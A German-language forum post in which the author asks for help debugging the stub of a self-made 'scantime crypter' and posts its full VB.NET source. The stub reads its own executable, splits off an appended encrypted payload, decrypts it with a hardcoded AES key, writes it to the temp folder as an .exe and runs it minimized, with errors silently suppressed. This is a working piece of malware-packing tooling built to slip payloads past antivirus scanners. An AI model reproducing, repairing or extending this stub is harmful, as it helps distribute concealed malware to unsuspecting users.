hallo liebes Forum...habe soeben einen Scantime Crypter erstellt, und wollte dazu die passende stub schreiben...
hab das ganze mal soweit gemacht, aber habe dann folgendes problem...

" Der Name "Aplication" wurde nicht Deklariert"

hier mal der source, würde mich um schnelle Hilfe freuen....

Module Module1

Sub Main()
On Error Resume Next
Dim Dateiname As String = Environ("tmp") & "\date1.exe" 'Der Beispiel Speicherort()
Dim sStub As String 'Wieder die sStub
Dim Splitt As String = "123splitt123" 'Splitt und Key müssen genauso
'wie im anderen sein
Dim Key As String = "123key123"

FileOpen(1, Application.ExecutablePath, OpenMode.Binary, _
OpenAccess.Read, OpenShare.Shared)
sStub = Space(LOF(1))
FileGet(1, sStub)
FileClose(1)

Dim Splitter() As String
Splitter = Split(sStub, Splitt)
Dim Tcrypt As String = Splitter(1)

Dim AesProvider As New Security.Cryptography.RijndaelManaged
Dim btCipher() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim KeyGen As New Security.Cryptography.Rfc2898DeriveBytes(Key, btSalt)
AesProvider.Key = KeyGen.GetBytes(AesProvider.Key.Length)
AesProvider.IV = KeyGen.GetBytes(AesProvider.IV.Length)

Dim ms As New IO.MemoryStream
Dim cs As New Security.Cryptography.CryptoStream(ms, AesProvider.CreateDecryptor(), _
Security.Cryptography.CryptoStreamMode.Write)
btCipher = Convert.FromBase64String(Tcrypt)
cs.Write(btCipher, 0, btCipher.Length)
cs.Close()
Tcrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)

FileOpen(1, (Dateiname), OpenMode.Binary)
FilePut(1, Tcrypt)
FileClose(1)

Shell(Dateiname, AppWinStyle.MinimizedFocus)

End


End Sub

End Module


PS: die "Form" ist eine konsolenanwendung, kann das problem daran liegen? weiss echt nichmehr weiter...
Achtung: Dies ist ein alter Thread im HTML und Webmaster Forum
Diese Diskussion ist älter als 90 Tage. Die darin enthaltenen Informationen sind möglicherweise nicht mehr aktuell. Erstelle bitte zu deiner Frage ein neues Thema im Forum !!!!!